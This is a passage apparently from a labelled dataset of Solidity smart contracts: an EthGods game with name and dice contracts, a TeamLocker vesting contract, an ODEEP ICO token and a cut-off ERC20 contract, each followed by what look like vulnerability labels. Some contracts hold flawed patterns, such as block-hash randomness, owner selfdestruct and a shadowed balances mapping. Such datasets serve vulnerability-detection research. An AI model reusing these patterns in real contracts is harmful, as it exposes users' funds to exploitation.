} else {
return false;
}
}
function pk (address attacker, address defender, bytes32 block_hash) public view returns (bool pk_result){
(uint attacker_sum_god_levels, uint attacker_sum_amulet_levels) = get_sum_levels_pk(attacker);
(uint defender_sum_god_levels, uint defender_sum_amulet_levels) = get_sum_levels_pk(defender);
pk_result = eth_gods_dice.pk(block_hash, attacker_sum_god_levels, attacker_sum_amulet_levels, defender_sum_god_levels, defender_sum_amulet_levels);
return pk_result;
}
function get_sum_levels_pk (address god_address) public view returns (uint sum_gods_level, uint sum_amulets_level){
sum_gods_level = gods[god_address].level;
sum_amulets_level = gods[god_address].pet_level;
uint amulet_god_id;
uint amulet_god_level;
for (uint i = 1; i <= count_amulets; i++){
if (amulets[i].owner == god_address && amulets[i].start_selling_block == 0){
amulet_god_id = amulets[i].god_id;
amulet_god_level = gods[gods_address[amulet_god_id]].level;
sum_gods_level = add(sum_gods_level, amulet_god_level);
sum_amulets_level = add(sum_amulets_level, amulets[i].level);
}
}
return (sum_gods_level, sum_amulets_level);
}
function get_listed_winners (uint prize) public view returns (address[]){
address [] memory temp_list = new address[] (count_listed_winners[prize]);
if (count_listed_winners[prize] > 0) {
for (uint i = 0; i < count_listed_winners[prize]; i++){
temp_list[i] = listed_winners[prize][add(i,1)];
}
}
return temp_list;
}
function get_ticket (uint ticket_number) public view returns (uint, bytes32, address, uint, uint){
return (tickets[ticket_number].block_number,
tickets[ticket_number].block_hash,
tickets[ticket_number].owner,
tickets[ticket_number].new_ticket_number,
tickets[ticket_number].dice_result);
}
function get_my_tickets() public view returns (uint[]) {
uint count_my_tickets = gods[msg.sender].count_tickets;
if (count_my_tickets > max_show_tickets) {
count_my_tickets = max_show_tickets;
}
uint [] memory temp_list = new uint[] (count_my_tickets);
if (count_my_tickets > 0) {
uint count_elements = 0;
for (uint i = gods[msg.sender].last_ticket_number; i > 0; i--){
if (tickets[i].owner == msg.sender){
temp_list[count_elements] = i;
count_elements++;
if (count_elements >= count_my_tickets){
break;
}
}
}
}
return temp_list;
}
function egses_from_contract (address to, uint tokens, uint reason) private returns (bool) {
if (reason == 1) {
require (pray_egses > tokens);
pray_egses = sub(pray_egses, tokens);
}
egses_balances[to] = add(egses_balances[to], tokens);
create_change_log(1, reason, tokens, egses_balances[to], contract_address, to);
return true;
}
function egses_withdraw () public returns (uint tokens){
tokens = egses_balances[msg.sender];
require (tokens > 0 && contract_address.balance >= tokens && reEntrancyMutex == false);
reEntrancyMutex = true;
egses_balances[msg.sender] = 0;
msg.sender.transfer(tokens);
reEntrancyMutex = false;
emit withdraw_egses(msg.sender, tokens);
create_change_log(1, 5, tokens, 0, contract_address, msg.sender);
return tokens;
}
event withdraw_egses (address receiver, uint tokens);
function totalSupply () public view returns (uint){
return _totalSupply;
}
function balanceOf (address tokenOwner) public view returns (uint){
return balances[tokenOwner];
}
function allowance (address tokenOwner, address spender) public view returns (uint) {
return allowed[tokenOwner][spender];
}
function transfer (address to, uint tokens) public returns (bool success){
require (balances[msg.sender] >= tokens);
balances[msg.sender] = sub(balances[msg.sender], tokens);
balances[to] = add(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
create_change_log(2, 9, tokens, balances[to], msg.sender, to);
return true;
}
event Transfer (address indexed from, address indexed to, uint tokens);
function approve (address spender, uint tokens) public returns (bool success) {
require (balances[msg.sender] >= tokens);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
event Approval (address indexed tokenOwner, address indexed spender, uint tokens);
function transferFrom (address from, address to, uint tokens) public returns (bool success) {
require (balances[from] >= tokens);
allowed[from][msg.sender] = sub(allowed[from][msg.sender], tokens);
balances[from] = sub(balances[from], tokens);
balances[to] = add(balances[to], tokens);
emit Transfer(from, to, tokens);
create_change_log(2, 10, tokens, balances[to], from, to);
return true;
}
function egst_from_contract (address to, uint tokens, uint reason) private returns (bool) {
balances[to] = add(balances[to], tokens);
create_change_log(2, reason, tokens, balances[to], contract_address, to);
return true;
}
function egst_to_contract (address from, uint tokens, uint reason) private returns (bool) {
require (balances[from] >= tokens);
balances[from] = sub(balances[from], tokens);
emit spend_egst(from, tokens, reason);
create_change_log(2, reason, tokens, balances[from], from, contract_address);
return true;
}
event spend_egst (address from, uint tokens, uint reason);
function create_token_order (uint unit_price, uint egst_amount) public returns (uint) {
require(unit_price >= min_unit_price && unit_price <= max_unit_price
&& balances[msg.sender] >= egst_amount
&& egst_amount <= max_egst_amount
&& egst_amount >= min_egst_amount);
count_token_orders = add(count_token_orders, 1);
egst_to_contract(msg.sender, egst_amount, 3);
token_orders[count_token_orders].start_selling_block = block.number;
token_orders[count_token_orders].seller = msg.sender;
token_orders[count_token_orders].unit_price = unit_price;
token_orders[count_token_orders].egst_amount = egst_amount;
gods[msg.sender].count_token_orders = add(gods[msg.sender].count_token_orders, 1);
update_first_active_token_order(msg.sender);
return gods[msg.sender].count_token_orders;
}
function withdraw_token_order (uint order_id) public returns (bool) {
require (msg.sender == token_orders[order_id].seller
&& token_orders[order_id].egst_amount > 0);
uint egst_amount = token_orders[order_id].egst_amount;
token_orders[order_id].start_selling_block = 0;
token_orders[order_id].egst_amount = 0;
egst_from_contract(msg.sender, egst_amount, 4);
gods[msg.sender].count_token_orders = sub(gods[msg.sender].count_token_orders, 1);
update_first_active_token_order(msg.sender);
emit WithdrawTokenOrder(msg.sender, order_id);
return true;
}
event WithdrawTokenOrder (address seller, uint order_id);
function buy_token (uint order_id, uint egst_amount) public payable returns (uint) {
require(order_id >= first_active_token_order
&& order_id <= count_token_orders
&& egst_amount <= token_orders[order_id].egst_amount
&& token_orders[order_id].egst_amount > 0
&& token_orders[order_id].seller != msg.sender);
uint eth_cost = div(mul(token_orders[order_id].unit_price, egst_amount), 100000);
require(msg.value >= eth_cost && msg.value < add(eth_cost, max_extra_eth) );
token_orders[order_id].egst_amount = sub(token_orders[order_id].egst_amount, egst_amount);
egst_from_contract(msg.sender, egst_amount, token_orders[order_id].unit_price);
address seller = token_orders[order_id].seller;
egses_from_contract(seller, eth_cost, 7);
if (token_orders[order_id].egst_amount <= 0){
token_orders[order_id].start_selling_block = 0;
gods[seller].count_token_orders = sub(gods[seller].count_token_orders, 1);
update_first_active_token_order(seller);
}
emit BuyToken(msg.sender, order_id, egst_amount);
return token_orders[order_id].egst_amount;
}
event BuyToken (address buyer, uint order_id, uint egst_amount);
function update_first_active_token_order (address god_address) private returns (uint, uint){
if (count_token_orders > 0
&& first_active_token_order == 0){
first_active_token_order = 1;
} else {
for (uint i = first_active_token_order; i <= count_token_orders; i++) {
if (add(token_orders[i].start_selling_block, order_duration) > block.number){
if (i > first_active_token_order){
first_active_token_order = i;
}
break;
}
}
}
if (gods[god_address].count_token_orders > 0
&& gods[god_address].first_active_token_order == 0){
gods[god_address].first_active_token_order = 1;
} else {
for (uint j = gods[god_address].first_active_token_order; j < count_token_orders; j++){
if (token_orders[j].seller == god_address
&& token_orders[j].start_selling_block > 0){
if(j > gods[god_address].first_active_token_order){
gods[god_address].first_active_token_order = j;
}
break;
}
}
}
return (first_active_token_order, gods[msg.sender].first_active_token_order);
}
function get_token_order (uint order_id) public view returns(uint, address, uint, uint){
require(order_id >= 1 && order_id <= count_token_orders);
return(token_orders[order_id].start_selling_block,
token_orders[order_id].seller,
token_orders[order_id].unit_price,
token_orders[order_id].egst_amount);
}
function get_token_orders () public view returns(uint, uint, uint, uint, uint) {
uint lowest_price = max_unit_price;
for (uint i = first_active_token_order; i <= count_token_orders; i++){
if (token_orders[i].unit_price < lowest_price
&& token_orders[i].egst_amount > 0
&& add(token_orders[i].start_selling_block, order_duration) > block.number){
lowest_price = token_orders[i].unit_price;
}
}
return (count_token_orders, first_active_token_order, order_duration, max_unit_price, lowest_price);
}
function get_my_token_orders () public view returns(uint []) {
uint my_count_token_orders = gods[msg.sender].count_token_orders;
uint [] memory temp_list = new uint[] (my_count_token_orders);
if (my_count_token_orders > 0) {
uint count_list_elements = 0;
for (uint i = gods[msg.sender].first_active_token_order; i <= count_token_orders; i++){
if (token_orders[i].seller == msg.sender
&& token_orders[i].start_selling_block > 0){
temp_list[count_list_elements] = i;
count_list_elements++;
if (count_list_elements >= my_count_token_orders){
break;
}
}
}
}
return temp_list;
}
function get_winner_log (uint pray_round, uint log_id) public view returns (uint, bytes32, address, address, uint, bool, uint){
require(log_id >= 1 && log_id <= count_rounds_winner_logs[pray_round]);
winner_log storage this_winner_log = winner_logs[pray_round][log_id];
uint ticket_number = this_winner_log.ticket_number;
return (tickets[ticket_number].block_number,
tickets[ticket_number].block_hash,
tickets[ticket_number].owner,
this_winner_log.previous_winner,
this_winner_log.prize,
this_winner_log.pk_result,
this_winner_log.ticket_number);
}
function get_count_rounds_winner_logs (uint pray_round) public view returns (uint){
return count_rounds_winner_logs[pray_round];
}
function create_change_log (uint asset_type, uint reason, uint change_amount, uint after_amount, address _from, address _to) private returns (uint) {
count_rounds_change_logs[count_rounds] = add(count_rounds_change_logs[count_rounds], 1);
uint log_id = count_rounds_change_logs[count_rounds];
change_logs[count_rounds][log_id].block_number = block.number;
change_logs[count_rounds][log_id].asset_type = asset_type;
change_logs[count_rounds][log_id].reason = reason;
change_logs[count_rounds][log_id].change_amount = change_amount;
change_logs[count_rounds][log_id].after_amount = after_amount;
change_logs[count_rounds][log_id]._from = _from;
change_logs[count_rounds][log_id]._to = _to;
return log_id;
}
function get_change_log (uint pray_round, uint log_id) public view returns (uint, uint, uint, uint, uint, address, address){
change_log storage this_log = change_logs[pray_round][log_id];
return (this_log.block_number,
this_log.asset_type,
this_log.reason,
this_log.change_amount,
this_log.after_amount,
this_log._from,
this_log._to);
}
function get_count_rounds_change_logs (uint pray_round) public view returns(uint){
return count_rounds_change_logs[pray_round];
}
function add (uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub (uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul (uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div (uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract EthGodsName {
EthGods private eth_gods;
address private ethgods_contract_address;
function set_eth_gods_contract_address (address eth_gods_contract_address) public returns (bool){
require (msg.sender == admin);
ethgods_contract_address = eth_gods_contract_address;
eth_gods = EthGods(ethgods_contract_address);
return true;
}
address private admin;
function update_admin () public returns (bool){
(address new_admin,,,,,,) = eth_gods.query_contract();
require (msg.sender == new_admin);
admin = new_admin;
return true;
}
bool private contract_created;
address private contract_address;
string private invalid_chars = "\\\"";
bytes private invalid_bytes = bytes(invalid_chars);
function set_invalid_chars (string new_invalid_chars) public returns (bool) {
require(msg.sender == admin);
invalid_chars = new_invalid_chars;
invalid_bytes = bytes(invalid_chars);
return true;
}
uint private valid_length = 16;
function set_valid_length (uint new_valid_length) public returns (bool) {
require(msg.sender == admin);
valid_length = new_valid_length;
return true;
}
struct god_name {
string god_name;
uint block_number;
uint block_duration;
}
mapping (address => god_name) private gods_name;
constructor () public {
require (contract_created == false);
contract_created = true;
contract_address = address(this);
admin = msg.sender;
address v_god = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
gods_name[v_god].god_name = "V";
}
function () public payable {
revert();
}
function finalize() public {
require (msg.sender == admin);
selfdestruct(msg.sender);
}
function set_god_name (string new_name) public returns (bool){
address god_address = msg.sender;
require (add(gods_name[god_address].block_number, gods_name[god_address].block_duration) < block.number );
bytes memory bs = bytes(new_name);
require (bs.length <= valid_length);
for (uint i = 0; i < bs.length; i++){
for (uint j = 0; j < invalid_bytes.length; j++) {
if (bs[i] == invalid_bytes[j]){
return false;
}
}
}
gods_name[god_address].god_name = new_name;
emit set_name(god_address, new_name);
return true;
}
event set_name (address indexed god_address, string new_name);
function get_god_name (address god_address) public view returns (string) {
return gods_name[god_address].god_name;
}
function block_god_name (address god_address, uint block_duration) public {
require (msg.sender == admin);
gods_name[god_address].god_name = "Unkown";
gods_name[god_address].block_number = block.number;
gods_name[god_address].block_duration = block_duration;
}
function add (uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
}
contract EthGodsDice {
bool private contract_created;
address private contract_address;
address private admin;
constructor () public {
require (contract_created == false);
contract_created = true;
contract_address = address(this);
admin = msg.sender;
}
function finalize () public {
require (msg.sender == admin);
selfdestruct(msg.sender);
}
function () public payable {
revert();
}
function throw_dice (bytes32 block_hash) public pure returns (uint[]) {
uint[] memory dice_numbers = new uint[](7);
uint hash_number;
uint[] memory count_dice_numbers = new uint[](7);
uint i;
for (i = 1; i <= 6; i++) {
hash_number = uint(block_hash[i]);
if (hash_number >= 214) {
dice_numbers[i] = 6;
} else if (hash_number >= 172) {
dice_numbers[i] = 5;
} else if (hash_number >= 129) {
dice_numbers[i] = 4;
} else if (hash_number >= 86) {
dice_numbers[i] = 3;
} else if (hash_number >= 43) {
dice_numbers[i] = 2;
} else {
dice_numbers[i] = 1;
}
count_dice_numbers[dice_numbers[i]] ++;
}
bool won_super_prize = false;
uint count_super_eth = 0;
for (i = 1; i <= 6; i++) {
if (count_dice_numbers[i] >= 5) {
dice_numbers[0] = 1;
won_super_prize = true;
break;
}else if (count_dice_numbers[i] >= 3) {
dice_numbers[0] = 3;
won_super_prize = true;
break;
}else if (count_dice_numbers[i] == 1) {
count_super_eth ++;
if (count_super_eth == 6) {
dice_numbers[0] = 2;
won_super_prize = true;
}
}
}
if (won_super_prize == false) {
dice_numbers[0] = 4;
}
return dice_numbers;
}
function pk (bytes32 block_hash, uint attacker_sum_god_levels, uint attacker_sum_amulet_levels, uint defender_sum_god_levels, uint defender_sum_amulet_levels) public pure returns (bool){
uint god_win_chance;
attacker_sum_god_levels = add(attacker_sum_god_levels, 10);
if (attacker_sum_god_levels < defender_sum_god_levels){
god_win_chance = 0;
} else {
god_win_chance = sub(attacker_sum_god_levels, defender_sum_god_levels);
if (god_win_chance > 20) {
god_win_chance = 100;
} else {
god_win_chance = mul(god_win_chance, 5);
}
}
uint amulet_win_chance;
attacker_sum_amulet_levels = add(attacker_sum_amulet_levels, 10);
if (attacker_sum_amulet_levels < defender_sum_amulet_levels){
amulet_win_chance = 0;
} else {
amulet_win_chance = sub(attacker_sum_amulet_levels, defender_sum_amulet_levels);
if (amulet_win_chance > 20) {
amulet_win_chance = 100;
} else {
amulet_win_chance = mul(amulet_win_chance, 5);
}
}
uint attacker_win_chance = div(add(god_win_chance, amulet_win_chance), 2);
if (attacker_win_chance >= div(mul(uint(block_hash[3]),2),5)){
return true;
} else {
return false;
}
}
function add (uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub (uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul (uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div (uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
} | 1 | 3,923 |
pragma solidity ^0.4.18;
contract SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TeamLocker is SafeMath, Ownable {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address[] public beneficiaries;
uint256[] public ratios;
uint256 public genTime;
uint256 public collectedTokens;
function TeamLocker(address _token, address[] _beneficiaries, uint256[] _ratios, uint256 _genTime) {
require(_token != 0x00);
require(_beneficiaries.length > 0 && _beneficiaries.length == _ratios.length);
require(_genTime > 0);
for (uint i = 0; i < _beneficiaries.length; i++) {
require(_beneficiaries[i] != 0x00);
}
token = ERC20Basic(_token);
beneficiaries = _beneficiaries;
ratios = _ratios;
genTime = _genTime;
}
function release() public {
uint256 balance = token.balanceOf(address(this));
uint256 total = add(balance, collectedTokens);
uint256 lockTime1 = add(genTime, 183 days);
uint256 lockTime2 = add(genTime, 1 years);
uint256 currentRatio = 20;
if (now >= lockTime1) {
currentRatio = 50;
}
if (now >= lockTime2) {
currentRatio = 100;
}
uint256 releasedAmount = div(mul(total, currentRatio), 100);
uint256 grantAmount = sub(releasedAmount, collectedTokens);
require(grantAmount > 0);
collectedTokens = add(collectedTokens, grantAmount);
uint256 grantAmountForEach;
for (uint i = 0; i < beneficiaries.length; i++) {
grantAmountForEach = div(mul(grantAmount, ratios[i]), 100);
token.safeTransfer(beneficiaries[i], grantAmountForEach);
}
}
function setGenTime(uint256 _genTime) public onlyOwner {
require(_genTime > 0);
genTime = _genTime;
}
function setToken(address newToken) public onlyOwner {
require(newToken != 0x00);
token = ERC20Basic(newToken);
}
function destruct(address to) public onlyOwner {
require(to != 0x00);
selfdestruct(to);
}
} | 1 | 4,199 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Pausable is Ownable {
uint public endDate;
modifier whenNotPaused() {
require(now >= endDate);
_;
}
}
contract StandardToken is ERC20, BasicToken, Pausable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
function burn(uint256 _value)
public onlyOwner
{
require(_value > 0);
require(balances[msg.sender] >= _value);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
event Burn(address indexed burner, uint256 indexed value);
}
contract ODEEPToken is StandardToken , BurnableToken {
using SafeMath for uint256;
string public constant name = "ODEEP";
string public constant symbol = "ODEEP";
uint8 public constant decimals = 18;
address public Bounties_Wallet = 0x70F48becd584115E8FF298eA72D5EFE199526655;
address public Team_Wallet = 0xd3186A1e1ECe80F2E1811904bfBF876e6ea27A41;
address public OEM_Wallet = 0x4fD0e4E8EFDf55D2C1B41d504A2977a9f8453714;
address public LA_wallet = 0xA0AaFDbDD5bE0d5f1A5f980331DEf9b5e106e587;
address public tokenWallet = 0x81cb9078e3c19842B201e2cCFC4B0f111d693D47;
uint256 public constant INITIAL_SUPPLY = 100000000 ether;
uint256 tokenRate = 560;
function ODEEPToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[Bounties_Wallet] = INITIAL_SUPPLY.mul(5).div(100) ;
balances[Team_Wallet] = INITIAL_SUPPLY.mul(8).div(100);
balances[OEM_Wallet] = INITIAL_SUPPLY.mul(10).div(100) ;
balances[LA_wallet] = INITIAL_SUPPLY.mul(8).div(100) ;
balances[tokenWallet] = INITIAL_SUPPLY.mul(69).div(100);
endDate = _endDate;
emit Transfer(0x0, Bounties_Wallet, balances[Bounties_Wallet]);
emit Transfer(0x0, Team_Wallet, balances[Team_Wallet]);
emit Transfer(0x0, OEM_Wallet, balances[OEM_Wallet]);
emit Transfer(0x0, LA_wallet, balances[LA_wallet]);
emit Transfer(0x0, tokenWallet, balances[tokenWallet]);
}
uint public constant startDate = 1526292000;
uint public constant endPreICO = 1528883999;
uint constant preSale30 = startDate ;
uint constant preSale20 = 1527156000;
uint constant preSale15 = 1528020000;
uint public constant startICO = 1528884000;
uint public constant _endDate = 1532340000;
struct Stat {
uint currentFundraiser;
uint btcAmount;
uint ethAmount;
uint txCounter;
}
Stat public stat;
uint public constant preIcoCap = 5000000 ether;
uint public constant IcoCap = 64000000 ether;
uint256[3] private StepCaps = [
1250000 ether,
1750000 ether,
2000000 ether
];
uint8[3] private StepDiscount = [30, 20, 15];
modifier isFinished() {
require(now >= endDate);
_;
}
function currentStepIndexByDate() internal view returns (uint8 roundNum) {
require(now <= endPreICO);
if(now > preSale15) return 2;
if(now > preSale20) return 1;
if(now > preSale30) return 0;
else return 0;
}
function currentStepIndexAll() internal view returns (uint8 roundNum) {
roundNum = currentStepIndexByDate();
while(roundNum < 2 && StepCaps[roundNum]<= 0) {
roundNum++;
}
}
function isPreSale() internal view returns (bool) {
if (now >= startDate && now < endPreICO && preIcoCap.sub(stat.currentFundraiser) > 0) {
return true;
} else {
return false;
}
}
function isMainSale() internal view returns (bool) {
if (now >= startICO && now < endDate) {
return true;
} else {
return false;
}
}
function () payable public {
if (msg.value < 0.001 ether || (!isPreSale() && !isMainSale())) revert();
buyTokens();
}
function computeTokenAmountAll(uint256 ethAmount) internal returns (uint256) {
uint256 tokenBase = ethAmount.mul(tokenRate);
uint8 roundNum = currentStepIndexAll();
uint256 tokens = tokenBase.mul(100)/(100 - (StepDiscount[roundNum]));
if (roundNum == 2 && (StepCaps[0] > 0 || StepCaps[1] > 0))
{
StepCaps[2] = StepCaps[2] + StepCaps[0] + StepCaps[1];
StepCaps[0] = 0;
StepCaps[1] = 0;
}
uint256 balancePreIco = StepCaps[roundNum];
if (balancePreIco == 0 && roundNum == 2) {
} else {
if (balancePreIco < tokens) {
uint256 toEthCaps = (balancePreIco.mul((100 - (StepDiscount[roundNum]))).div(100)).div(tokenRate);
uint256 toReturnEth = ethAmount - toEthCaps ;
tokens= balancePreIco;
StepCaps[roundNum]=StepCaps[roundNum]-balancePreIco;
tokens = tokens + computeTokenAmountAll(toReturnEth);
} else {
StepCaps[roundNum] = StepCaps[roundNum] - tokens;
}
}
return tokens ;
}
function buyTokens() internal {
require(msg.value >= 0.001 ether);
uint256 tokens ;
uint256 xAmount = msg.value;
uint256 toReturnEth;
uint256 toTokensReturn;
uint256 balanceIco ;
if(isPreSale()){
balanceIco = preIcoCap.sub(stat.currentFundraiser);
tokens =computeTokenAmountAll(xAmount);
if (balanceIco < tokens) {
uint8 roundNum = currentStepIndexAll();
toTokensReturn = tokens.sub(balanceIco);
toReturnEth = (toTokensReturn.mul((100 - (StepDiscount[roundNum]))).div(100)).div(tokenRate);
}
} else if (isMainSale()) {
balanceIco = IcoCap.add(preIcoCap);
balanceIco = balanceIco.sub(stat.currentFundraiser);
tokens = xAmount.mul(tokenRate);
if (balanceIco < tokens) {
toTokensReturn = tokens.sub(balanceIco);
toReturnEth = toTokensReturn.mul(tokenRate);
}
} else {
revert();
}
if (tokens > 0 )
{
if (balanceIco < tokens) {
msg.sender.transfer(toReturnEth);
_EnvoisTokens(balanceIco, xAmount - toReturnEth);
} else {
_EnvoisTokens(tokens, xAmount);
}
} else {
revert();
}
}
function _EnvoisTokens(uint _amount, uint _ethers) internal {
sendTokens(msg.sender, _amount);
stat.currentFundraiser += _amount;
tokenWallet.transfer(_ethers);
stat.ethAmount += _ethers;
stat.txCounter += 1;
}
function sendTokens(address _to, uint _amount) internal {
require(_amount <= balances[tokenWallet]);
balances[tokenWallet] -= _amount;
balances[_to] += _amount;
emit Transfer(tokenWallet, _to, _amount);
}
function _sendTokensManually(address _to, uint _amount, uint _btcAmount) public onlyOwner {
require(_to != address(0));
sendTokens(_to, _amount);
stat.currentFundraiser += _amount;
stat.btcAmount += _btcAmount;
stat.txCounter += 1;
}
function setTokenRate(uint newTokenRate) public onlyOwner {
tokenRate = newTokenRate;
}
function getTokenRate() public constant returns (uint) {
return (tokenRate);
}
function getCapTab(uint _roundNum) public view returns (uint) {
return (StepCaps[_roundNum]);
}
function setCapTab(uint _roundNum,uint _value) public onlyOwner {
require(_value > 0);
StepCaps[_roundNum] = _value;
}
} | 0 | 1,445 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
